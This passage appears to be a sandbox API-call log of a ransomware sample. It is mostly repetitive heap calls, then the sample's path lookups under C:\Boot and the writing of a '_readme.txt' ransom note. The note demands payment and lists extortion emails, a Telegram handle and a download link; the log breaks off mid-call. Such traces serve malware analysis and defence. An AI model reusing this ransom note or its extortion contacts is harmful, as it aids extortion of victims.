[0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.702] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.702] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.705] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.705] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.706] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.706] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.707] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.707] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.708] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0112.708] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.708] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.708] PathFindFileNameW (pszPath="") returned="" [0112.708] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.708] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.708] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.709] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.709] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.709] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.709] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.709] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0112.709] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0112.709] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.709] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 